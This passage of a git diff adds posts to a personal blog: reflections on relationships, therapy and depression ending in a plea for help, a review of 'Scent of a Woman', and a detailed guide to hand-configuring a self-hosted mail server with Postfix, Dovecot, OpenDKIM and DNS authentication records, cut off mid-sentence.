"undefined state" of a relationship, and that she wants to keep it "friendly" in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn't even show interest about being friends, which is again totally fine. +But I'm just so baffeled by all of this. + +So... yea. This last "thing", whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I've been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can't just say the good stuff though. She was definitly a bit self-centered. It's funny how she told me that "people say I'm so proud in a negative way, but anyone who talks with me knows I'm not like that". Which is true, she wasn't proud, the correct term is self-centered, or "narcissistic" if you will, which I don't neceserrialy think is bad, but it is definitly an orange/yellow flag. + +One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I'm hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don't know. + +Well. I don't know what's gonna happen next, but I'm going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won't be alone? Who knows? haha. + +> P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I'm worth more than that. :) In my therapy session I remembered that in each of these so called "not dates" we had a conversation about "her", and she was dumping her emotional baggage on me, just like what happened this last time that confused me. + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/relationships.md.asc b/static/sources/posts/relationships.md.asc new file mode 100644 index 0000000..e495968 --- /dev/null +++ b/static/sources/posts/relationships.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM +jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA++dKrn ++rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns +pl+tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ+pBdSu0tCU4flVcDiTagVUE0hId8 +LC/unRH9o1S/iLLM4Fhao7Aifxr+lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8 +x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR +l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y +Bq942gP8J14AnhZfss7QNY65dQV+h4WH+nnNELB0j9ekB2kEOdz3HzrbelKRdiOW +vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo +6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo +9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea+6oBIiUF8j+ +SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ= +=lM4c +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/sadness.md b/static/sources/posts/sadness.md new file mode 100644 index 0000000..6b57ec2 --- /dev/null +++ b/static/sources/posts/sadness.md @@ -0,0 +1,105 @@ ++++ +title = 'Sadness' +date = 2025-10-24T12:48:31Z +draft = false ++++ + +Honestly, I don't know why I'm doing any of this. I really don't. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let's say abused if you will, and then thrown away. +Just like a piece of trash. +It's been hurting more and more. +I've been lying to myself that I don't care. +That I've moved on. + +I've been seeking validation ever since. +The validation that was lacking during that encounter. +The feeling of not being good enough. + +It's enough grieving though. +But is it? +I tell myself I have moved on. +I'm not chasing. +I'm really not. + +I do know that this was indeed the best that could've happened for me. +I just dodged a bullet. +But still, there is a part of me that hurts, that grieves. +A part that doesn't want to move on. +I told myself that I will meet new people, and forget. +But then aren't I changing the problem? + +The problem isn't what is on the surface. +It's something deeper. +The fact that I feel lonely, scared, anxious. +My anxious attachment, combined with overthinking, hurts me. +I have to analyse and see the worse in every encounter. + +Like if I tell a group of friends that I won't go with them a few times, I will be removed from the group. +That if everyone is busy, they have planned something together and I'm not invited. +That if someone doesn't reply to me, they hate me. +Or that if someone passes me and doesn't look at me or say a word, they don't want to see me, or don't want me around them. + +I don't know how to stop these. +I started to do more home office for this very reason, but I wasn't that productive. +I think my time, and life, is going to waste, and I don't know how to stop it. +It's getting annoying. + +Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I'm far along I feel the extra stress I was neglecting. +Things just don't feel right. +I think I'm becoming depressed again. + +Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely. +I know if I initiate, I get responses back. +Well, maybe not. +Maybe my expiration date has passed. +But then I would be chasing bread crumbs again. +Those crumbs won't let me find a true good quality loaf of bread! +They keep me distracted, and make me exhausted. +But they also mentally help me. + +Maybe I should go for coffee at different times just not to meet this person. +I don't know. +I just know I'm hurting from within, and it's not nice. +It's like internal bleeding. +It's as painful as it gets. +It's as hurtful as it gets. + +I know getting a pet could help me a lot at this point. +All of the things I want I can get from a pet. +Petting the pet, and caring for it are exactly what makes me feel good. +But then I don't want the responsibility. + +Like with a human things feel less stressful, but with a pet it's scary. +I'm more of a father to the pet. +Uh... +I can't even have a pet because of my house rules. + +I don't know what to do. +What I know is that I'm mentally hurting, and I don't know what to do. +I really don't. +I need help. +A lot of help. +A lot lot of help. +But I can't ask my friends. +I just can't. +They have their own problems. +They think I'm weak. +They will tell me to man up. +Or they just show empathy. +But I don't need empathy. +I need a solution. +I need to be told what to do. +I need help. +Help. + +... --- ... + +... --- ... ... --- ... ... --- ... + +... --- ... + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/sadness.md.asc b/static/sources/posts/sadness.md.asc new file mode 100644 index 0000000..af261eb --- /dev/null +++ b/static/sources/posts/sadness.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM +jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN+0a9 +XkVgKH2Ax8n7h+uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx +rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y +4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y +spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U+VbIflsJG2id+g1W3Z7ch6 +sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5 +9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY+b+rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch +SD4vGu8SaxWVhWPprrBX6OsC+qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO +K5qILAk8qvmEdDLIFxfYrpOA9qj+aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe +N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6+okpky12 +VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk= +=VEwz +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/scent_of_a_woman.md b/static/sources/posts/scent_of_a_woman.md new file mode 100644 index 0000000..a1a226e --- /dev/null +++ b/static/sources/posts/scent_of_a_woman.md @@ -0,0 +1,94 @@ ++++ +title = 'Movie review: Scent of a Woman' +date = 2025-10-13T08:52:10Z +draft = false +description = "My reaction to the movie as a not so pro movie watcher" ++++ + +I'm not a big movie watcher. +In fact, I don't remember the last time I watched a whole movie in a single day. +It's not that I don't enjoy it, it's that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched [Scent of a Woman](https://www.imdb.com/title/tt0105323) on Sunday, and after my therapist encouraged me to do so. + +Few points before I begin. +- This was aside from the therapy session. +- My therapist does not tell me what to do, or if I'm wrong or right or anything like that. +- I watched this movie in about two parts in a single day! +- I knew Al Pacino's face from Godfather series, but didn't know his name. +- I'm not a big movie person, so whatever I say should be taken with a grain of salt. Just don't be offended, take it face up and as is. + +The movie is about a good young student named Chris O'Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard. + +The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie. + +Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn't really there for him. + +When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees. + +Upon Karen's leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this. + +He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life. + +Frank is in love with Jack Daniel's and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed. + +Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn't want to snitch, but frank learns about this, he encourages him to take the deal. + +Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express! + +In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn't even recognize Frank was blind!!!! + +After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris's parent. + +Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father's back was. + + +In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed. + +The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting. + + +That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie? + +Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I'm also getting a lot back while making some sacrifices. + +Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman? + +I honestly do not know. +I just know that watching the movie gave me good feelings. +That I'm a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I'm on the right track, but still need time to figure out the way. +That I shouldn't worry too much. +That I should look at everything as a way to have "fun". +That I shouldn't overthink things. +That if I mess up, oh well, I should take the responsibility and move on. + +I don't know what the intention of my therapist was, but I'm so curious! +I want to figure it out. :) +Fell free to cross your fingers for me! + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/scent_of_a_woman.md.asc b/static/sources/posts/scent_of_a_woman.md.asc new file mode 100644 index 0000000..241150e --- /dev/null +++ b/static/sources/posts/scent_of_a_woman.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM +jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q +m6IiKs5GoxJFgNEyfNSjjBNj+NeqxgmYqlephJtf5ubTW+IuSMkinSyvVwkKrxAX +QA+1Imf7/4QTyUB6/L+19jk+1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj +OAProXMLAaCpasabz8+kQBQsul12h0cjG7A+TSaTgaM+WnE8RuC6C0KV//YeUfvN +DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ +Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5 +wVNf/2vL14Ef4kfMWg8POj1WrgZc+pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd +GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf +VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS+BpKKG5wi7mFopvUFuZoPbHdmK2856P +e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R +57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU= +=/VjG +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/seeing_the_light.md b/static/sources/posts/seeing_the_light.md new file mode 100644 index 0000000..5f9b647 --- /dev/null +++ b/static/sources/posts/seeing_the_light.md @@ -0,0 +1,24 @@ ++++ +title = 'Seeing the "Light"' +date = 2025-12-25T11:26:04Z +draft = false ++++ + +I have a strong hunch that I made it. I beat my MDD. I'm finally happy! I'm happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now. + +Currently I'm sitting in Hamburg's CCH, being an Angel in disguise. ;D + +I could not land myself any shifts before 1600, so I have to sit around and wait, and blog. + +I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he's been wanting to talk to me about... well... something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about. + +He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to "give time to time". So... yea. Idk. She will probably talk to me about this as time goes on. I don't want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch. + +Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it. + +As time goes by, and as I become more experienced, I feel more relieved. + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/seeing_the_light.md.asc b/static/sources/posts/seeing_the_light.md.asc new file mode 100644 index 0000000..2f33b72 --- /dev/null +++ b/static/sources/posts/seeing_the_light.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM +jSr7aBAAgOSc2FBGLiHK+6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm +YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt+DKmZnHJlz +siRwHqE/+peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn +y4CzVsjVClxVCyUf4b361F07+XuGv3kmKOnWTV3suLZykpWpxiQTRdq+jI7DBZKK +ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu+sw0+EQoc0 +riFVnb2+TK1OSkAu7w7HFLcUY0gGZ4+lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0 +kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ +jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/+ +KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi+w+mYWRzzFq0jnQsBYYu3QmjuhU+V +hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U+BVHRT//Y2w6Xnd1OJi +terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD+ZBtAs12NdekX/V4= +=xRmw +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/self_hosting_mail.md b/static/sources/posts/self_hosting_mail.md new file mode 100644 index 0000000..d05eab3 --- /dev/null +++ b/static/sources/posts/self_hosting_mail.md @@ -0,0 +1,209 @@ +--- +title: "Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)" +date: 2026-07-24 +tags: ["mail", "postfix", "dovecot", "opendkim", "postfixadmin", "roundcube", "nginx", "self-hosting", "homelab", "dns", "dkim", "spf", "dmarc"] +categories: ["guides"] +draft: false +description: "A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again)." +--- + +> If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do **not** assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. + +I wanted real email on my own machine — `mail.alipourimjourneys.ir` — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) + +By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand *why* those pieces exist, which is the part the shiny installers quietly skip. + +--- + +## Why I bothered + +Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon. + +I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic. + +--- + +## How email actually moves + +Imagine a post office that both receives letters from other post offices *and* lets you drop off letters to send — but only if you show ID at the counter. + +**Postfix** is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port **25**. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later). + +When *you* want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use **submission**, usually port **587**, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye. + +**Dovecot** is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port **993** so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself. + +**OpenDKIM** sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address. + +Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you. + +Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files. + +--- + +## The shape of my setup + +On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under `/srv/services/mail/` runs Postgres only for that mail world, listening on `127.0.0.1:5433`. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse. + +Nginx terminates HTTPS for a little portal at `mail.alipourimjourneys.ir`, the admin UI at `mailadmin.alipourimjourneys.ir`, and Roundcube at `webmail.alipourimjourneys.ir`. Clients still talk to `mail.alipourimjourneys.ir` for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers. + +--- + +## Port 25 is for servers; port 587 is for people + +This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure. + +Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed *to your domain*, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers. + +Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send. + +I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay. + +--- + +## What an “open relay” is, and why localhost lies to you + +An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation. + +Here’s the trick that wastes afternoons: testing from `127.0.0.1`. + +Postfix treats localhost as friendly. Cron jobs, monitoring, local `sendmail` calls — they need to inject mail without performing a full human login. That friendliness is encoded in `mynetworks`. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful. + +So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from `evil@example.com` to `someone@example.com`, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of `454 Relay access denied`. A cheerful `250` on that recipient line is how you wake up as someone else’s cannon. + +Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?” + +--- + +## DNS, but make it human + +### The forward map (name → number) + +You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an **MX** record, which is simply a polite note: “if you’re delivering mail for this domain, knock on *that* hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet. + +I put `mail.alipourimjourneys.ir` on funbox for both v4 and v6, pointed MX at that name, and added `webmail` and `mailadmin` the same way. + +### Why Cloudflare’s orange cloud is not invited + +Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot. + +Mail hostnames stay **DNS-only** — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there. + +--- + +## PTR records: the phonebook in reverse + +This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly. + +Normal DNS is a phonebook from names to numbers: you look up `mail.example.com` and learn the IP. **Reverse DNS** is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a **PTR** record. + +Those reverse records do *not* live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for `alipourimjourneys.ir` does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street. + +So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to `mail.alipourimjourneys.ir`, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi. + +You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good. + +--- + +## SPF, DKIM, and DMARC: three different questions + +People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients. + +**SPF** answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then `-all`, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer `~all` exists for a reason. I wasn’t mid-migration. I was building one source of truth. + +**DKIM** answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp. + +**DMARC** answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with `p=none` (watch and learn), move to `quarantine` (bad mail goes to spam), and later `reject` when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough. + +Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy. + +Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot. + +--- + +## Building the unglamorous core + +On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for `mail.alipourimjourneys.ir`, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026. + +Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under `/var/spool/postfix`, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the `postfix` user connect. + +I briefly had two `Socket` lines in `opendkim.conf`. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: `DKIM-Signature field added`. Instant serotonin. + +When `opendkim-testkey` says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently. + +--- + +## The Matrix certificate heist (that wasn’t a heist) + +Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting `mail.…` and found **`matrix.alipourimjourneys.ir`** smiling back. + +No attacker. No cosmic joke from Let’s Encrypt. Just nginx. + +When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no `server_name` matches, nginx shrugs and uses the **default** server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible. + +Later I repeated a sibling mistake with `webmail.`: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting `https://webmail.…` still fell through to the default server and received Matrix’s cert again. Same villain, new episode. + +The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize. + +--- + +## From Linux users to real mailboxes + +The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal. + +So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under `/var/vmail/...` owned by a dedicated `vmail` user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP. + +Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street. + +One setting decides whether this feels cursed or calm: `mydestination`. + +That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is `mail.alipourimjourneys.ir` and you also leave that name in `mydestination`, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set `mydestination` to localhost and let the mail domain be virtual. Suddenly the model matched reality. + +PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.” + +One more client quirk: some apps send only `ialipour` as the username. The database stores `ialipour@mail.…`. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or `local-part@mail.alipourimjourneys.ir` did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private. + +--- + +## Webmail without losing the plot + +Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres. + +I flirted with serving it under a path like `/webmail` on the main mail hostname while also serving it at the root of `webmail.…`. Roundcube has opinions about its base path. If you tell it “you live under `/webmail`” and then put it at 